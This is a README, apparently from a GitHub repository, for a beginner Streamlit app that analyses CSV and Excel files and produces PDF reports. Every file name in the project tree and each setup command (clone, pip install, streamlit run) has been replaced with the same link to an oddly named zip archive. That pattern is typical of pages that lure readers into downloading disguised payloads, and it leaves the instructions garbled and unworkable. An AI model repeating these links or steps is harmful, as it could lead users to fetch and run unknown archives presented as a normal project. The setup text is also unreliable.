A beginner‑friendly Streamlit web app that helps you quickly understand CSV or Excel datasets through clear insights, visualizations, and an auto‑generated PDF report.
This project is designed for non‑technical users, students, and early data learners who want meaningful explanations without heavy statistics jargon.
- Upload CSV files
- Upload Excel files (
.xlsx,.xls)
- Toggle simple, human‑friendly explanations
- Avoids technical language when enabled
- Dataset overview (rows, columns, date range)
- Missing data detection
- Numeric column analysis (mean, range, outliers)
- Categorical column summaries
- Correlation detection between numeric columns
- Distribution (histogram) charts
- Correlation heatmap
- Category bar charts
- Includes:
- Dataset name
- Summary statistics
- Plain‑English insights
- Embedded charts (histograms)
- One‑click download
Once a file is uploaded, the app:
- Previews the dataset
- Explains what the numbers mean
- Shows visual charts
- Generates a downloadable PDF report
statscope/ │ ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Main Streamlit app ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Data analysis + PDF generation ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Chart creation functions ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Python dependencies └── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Project documentation
git clone https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
cd simple-data-analyzer
2️⃣ Create a virtual environment (recommended)
bash
Copy code
python -m venv venv
source venv/bin/activate # macOS/Linux
venv\Scripts\activate # Windows
3️⃣ Install dependencies
bash
Copy code
pip install -r https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
▶️ Run the App
bash
Copy code
streamlit run https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
The app will open automatically in your browser.
📦 Requirements
Your https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip should include:
nginx
Copy code
streamlit
pandas
matplotlib
reportlab
openpyxl
🧪 Supported Data Types
Type Supported
Numeric ✅
Categorical ✅
Dates ✅ (auto‑detected)
IDs 🚫 (ignored automatically)
🧠 How Insights Are Generated
Skips ID‑like columns automatically
Uses:
Mean, median, min, max
IQR‑based outlier detection
Correlations shown only if strong enough
Beginner explanations simplify statistics into plain language
🚀 Who This Is For
Students learning data analysis
Teachers and educators
Non‑technical stakeholders
Anyone who wants quick insights without coding
🔮 Future Improvements (Planned)
PDF heatmap inclusion
Custom PDF themes
Column selection controls
AI‑generated recommendations
Export to Word / PowerPoint
🙌 Author
Ogunkoya Emmanuel Oluwakemi
Built with ❤️ using Python & Streamlit
If you find this useful, feel free to ⭐ the repo and share it!